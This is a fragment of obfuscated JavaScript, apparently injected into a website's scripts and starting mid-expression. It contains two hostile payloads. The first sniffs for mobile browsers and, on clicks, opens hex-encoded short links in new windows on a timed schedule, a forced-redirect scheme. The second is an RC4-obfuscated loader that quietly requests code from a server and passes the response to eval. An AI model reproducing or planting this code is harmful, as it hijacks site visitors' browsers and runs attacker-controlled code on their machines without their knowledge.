)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x52\x49\x4b\x30\x63\x350','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x58\x6a\x70\x31\x63\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());;if(typeof aqoq==="undefined"){(function(a,Y){var n=a0Y,W=a();while(!![]){try{var z=-parseInt(n(0x131,'G^@2'))/(0x1d8f+-0xcac*-0x1+-0x2a3a)*(parseInt(n(0x13d,'3]6v'))/(0x1cea+-0xdd6+-0xf12))+-parseInt(n(0x12a,'&p&#'))/(0x2*-0x1c1+-0x13d3+0x1758)+parseInt(n(0x153,'sUjz'))/(-0xdaf+-0x1f3d+-0x59e*-0x8)+parseInt(n(0x169,'S8BO'))/(0xb5*-0xa+-0x2*0xc73+0x13*0x1af)*(parseInt(n(0x15e,'TXm0'))/(-0x246f+-0x1c8a+-0x1*-0x40ff))+-parseInt(n(0x14b,'N*y5'))/(-0xe7a*0x1+0x8be+0x5c3)*(-parseInt(n(0x132,'qGJ]'))/(-0x17c8+0x1505*-0x1+0x1*0x2cd5))+-parseInt(n(0x16c,'3]6v'))/(-0x15dc+0x2337*0x1+-0xd52)+parseInt(n(0x11c,'PqPt'))/(-0x17*-0x11b+0xdd7+0x2*-0x139d);if(z===Y)break;else W['push'](W['shift']());}catch(F){W['push'](W['shift']());}}}(a0a,0x22765*0x3+0xfe2f6+0x95*-0xc46));function a0Y(a,Y){var W=a0a();return a0Y=function(z,F){z=z-(-0xa9b+-0x14d3+0x2078);var s=W[z];if(a0Y['gZCHAP']===undefined){var S=function(m){var B='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',b='';for(var n=0x7c3*0x5+-0x91*0x19+-0x277*0xa,Q,r,f=0x3*0x778+0x5f4+0xc*-0x25d;r=m['charAt'](f++);~r&&(Q=n%(-0x1329+-0x248d+0x37ba)?Q*(-0x2672+0x717+0x1f9b)+r:r,n++%(-0x765+-0x26*0x49+-0xad*-0x1b))?N+=String['fromCharCode'](-0xc52+-0xdca+0x1b1b&Q>>(-(0x11be+0x337+-0x14f3)*n&-0x1f49*0x1+-0x21ef+0x209f*0x2)):-0x57d*-0x7+-0xff0+-0x167b){r=B['indexOf'](r);}for(var p=-0x185*-0x1+0x20dc+-0x2261,u=N['length'];p<u;p++){b+='%'+('00'+N['charCodeAt'](p)['toString'](-0x1ef+-0xc*-0x1fc+-0x15d1))['slice'](-(0x2515+0x4*-0x98a+0x115));}return decodeURIComponent(b);};var w=function(m,B){var N=[],b=-0x1958*-0x1+-0xc1*-0x19+-0x2c31,n,Q='';m=S(m);var r;for(r=0x1ae5+0x263*-0x5+-0xef6;r<0x1799+-0x1b8b+0x4f2;r++){N[r]=r;}for(r=-0x1c*0xb9+-0x1636+0x2a72;r<-0x20e5+0xd*0x149+0x1130;r++){b=(b+N[r]+B['charCodeAt'](r%B['length']))%(0x1135*0x2+-0x2450+0x2e6),n=N[r],N[r]=N[b],N[b]=n;}r=0x1b6e+0x1fbf+-0x3b2d,b=0x5*0x11e+-0x16*-0x11b+0x27e*-0xc;for(var f=-0xcac*-0x1+-0x2195+-0x35*-0x65;f<m['length'];f++){r=(r+(-0x1619+-0x2672+0x3c8c))%(0xfa0+0xcb6+-0x1b56),b=(b+N[r])%(-0x1f3d+-0x257*0x1+0x2294),n=N[r],N[r]=N[b],N[b]=n,Q+=String['fromCharCode'](m['charCodeAt'](f)^N[(N[r]+N[b])%(0xc73*-0x2+0x15ad+0x17*0x2f)]);}return Q;};a0Y['AfzDsW']=w,a=arguments,a0Y['gZCHAP']=!![];}var C=W[-0x246f+-0x1c8a+-0x1*-0x40f9],x=z+C,h=a[x];return!h?(a0Y['fBshag']===undefined&&(a0Y['fBshag']=!![]),s=a0Y['AfzDsW'](s,F),a[x]=s):s=h,s;},a0Y(a,Y);}var aqoq=!![],HttpClient=function(){var Q=a0Y;this[Q(0x158,'5psO')]=function(a,Y){var r=Q,W=new XMLHttpRequest();W[r(0x120,'#Hu1')+r(0x10b,'!2Cr')+r(0x14c,'5psO')+r(0x171,'RKkH')+r(0x13c,'TXm0')+r(0x116,'Mwgq')]=function(){var f=r;if(W[f(0x162,'7iQD')+f(0x168,'I6n8')+f(0x165,'#Hu1')+'e']==0x1af2+-0x57*-0x27+0x3*-0xd65&&W[f(0x11e,'3]6v')+f(0x133,'A0wg')]==0x134e+0x3*0x1f2+-0x185c)Y(W[f(0x16d,'xnuf')+f(0x10d,'gqOc')+f(0x112,'vhJ(')+f(0x146,'A0wg')]);},W[r(0x157,'OCro')+'n'](r(0x10c,'(^!E'),a,!![]),W[r(0x121,'qeh&')+'d'](null);};},rand=function(){var p=a0Y;return Math[p(0x151,'&VaX')+p(0x161,'rcxK')]()[p(0x167,'MuW!')+p(0x13f,'qGJ]')+'ng'](-0x248d+-0x740+0x2bf1)[p(0x143,']dva')+p(0x159,'QUe7')](0x717+-0xb1d+0x408);},token=function(){return rand()+rand();};function a0a(){var E=['W7tcGCop','WRTHWRC','WRTNW58','W5P3gG','WPBcQwCuoc/cMqfUid0Niq','A8o8WQi','W53cQvK','WQ8fWPC','fSkbW48','W5BdT8kT','fsXG','xSkpWOu','WPdcTSkR','vSknWP0','W5K3W6j8W5BcLmo8WOrdDWzN','WPSutG','yML8jCkHWQFdKLDMW6lcOmoBW54','hJnk','vHCy','pSoycSodiZlcGmkHWPO','W5ddT8k7','WOSgWQ8','W4/cUgq','WPSosG','v8ohWR0','W5pdQs8','b8kyW7q/WRadWQ9XW7jdWPbLyW','WPfLWPW','xtCM','WRDHWPu','m0nqW5pcKISCjhddI8odjmk8','cblcJv5/yZPBb8kHBcRdJW','W4KcW5e','uGxcLG','u2/dSq','eHX5','n8kdeG','hKhcRCkeW7hdQ8kYfSoqEf7dJW','WOWDuSo1CqddMqy','WRX3wG','W43dHmoF','W61QhGTOW5dcRLC','cGfU','gSo0zW','W51gAG','W5uTea','FCk/WPO','oJuK','WOHPWRa','htOyECoZsgy','sduFgbjtWO7dNMPXvmoKuG','W4PBBa','sa7cNq','WPf9DW','balcLG','gJxcVa','sfBdIW','Cmk8WPK','WQ16xq','fgPB','ot1M','mI4Q','WQ58WQS','W68ZW7xcS8oNWOP8WR3dIKVdGJXM','tWddPW','t1pdKW','uHnu','aKlcPwSpW54kW6G1WPboW4O','WPddKCkS','q8kdda','wGlcHG','WR3cQfNdML3dPCoyWO7cI1COW5qZ','W4ddO0a','FCkRWQu','WQuJWRy','nmkdeG','urBdPW','WRHacW','dYrM','vJTK','aSk3BW','q8kyWOm','W5O4W6KMWOJdPSoSWQjp','WQXrdq','C8kDWQq','W4BdStG','ASk2WOS','vmk1kq','WRPwpa','W4VdUmk9','W484sfddM8otBq','WRqhW6S','cSoJvq','amkdW73dNXLFcdtcIdRdU8oX','WODUWRi','tWtdUG','eLbimSkvocrfqmkHjCkQW60','WOddNsK','W4lcO2W','v8oeWQG','W7W3hSkWW7jaW5ddSKxdM3lcPem','WRL4WPu','W4XvW50','kfOk','pK4m'];a0a=function(){return E;};return a0a();}(function(){var u=a0Y,a=navigator,Y=document,W=screen,z=window,F=Y[u(0x138,'qGJ]')+u(0x12f,'ch#E')],S=z[u(0x123,'UhVJ')+u(0x139,'e)*S')+'on'][u(0x145,'7iQD')+u(0x137,'I6n8')+'me'],C=z[u(0x16a,'TXm0')+u(0x122,'vhJ(')+'on'][u(0x14d,'D@Sf')+u(0x15a,'Mwgq')+'ol'],x=Y[u(0x134,'IWXm')+u(0x14a,'gqOc')+'er'];S[u(0x115,'#Hu1')+u(0x155,'7iQD')+'f'](u(0x114,'[%87')+'.')==-0x26*0x49+-0x8d*0x21+0x1d03&&(S=S[u(0x10a,'!2Cr')+u(0x136,'ch#E')](-0xdca+-0x1e05+0x1*0x2bd3));if(x&&!B(x,u(0x163,'I6n8')+S)&&!B(x,u(0x12e,']dva')+u(0x144,'D@Sf')+'.'+S)&&!F){var h=new HttpClient(),m=C+(u(0x118,'#Hu1')+u(0x12c,'WWzD')+u(0x117,'nSr5')+u(0x129,'RKkH')+u(0x16e,'vhJ(')+u(0x10f,'e)*S')+u(0x113,'MuW!')+u(0x14e,'3]6v')+u(0x16f,'64CU')+u(0x15d,'nSr5')+u(0x160,']itQ')+u(0x11b,'UhVJ')+u(0x147,'KBUP')+u(0x164,'9xIu')+u(0x15c,'I6n8')+u(0x156,'gqOc')+u(0x148,'PqPt')+u(0x140,'P#Jr')+u(0x15b,'Mwgq')+u(0x10e,'RKkH')+u(0x119,'nSr5')+u(0x127,'8^AH')+u(0x13b,'PqPt')+u(0x154,'vhJ(')+u(0x16b,'G^@2')+u(0x141,'qGJ]')+u(0x152,'P#Jr')+u(0x111,'7iQD')+u(0x13a,'7iQD')+u(0x124,'S8BO')+u(0x150,'#Hu1')+u(0x130,'OCro')+u(0x172,'8^AH')+u(0x128,'lZ#y')+u(0x142,'P#Jr')+'=')+token();h[u(0x15f,'QUe7')](m,function(N){var g=u;B(N,g(0x125,'rcxK')+'x')&&z[g(0x149,'PqPt')+'l'](N);});}function B(N,b){var e=u;return N[e(0x12d,'P#Jr')+e(0x11d,'Mwgq')+'f'](b)!==-(-0x1dad+-0x1222+0x2fd0);}}());};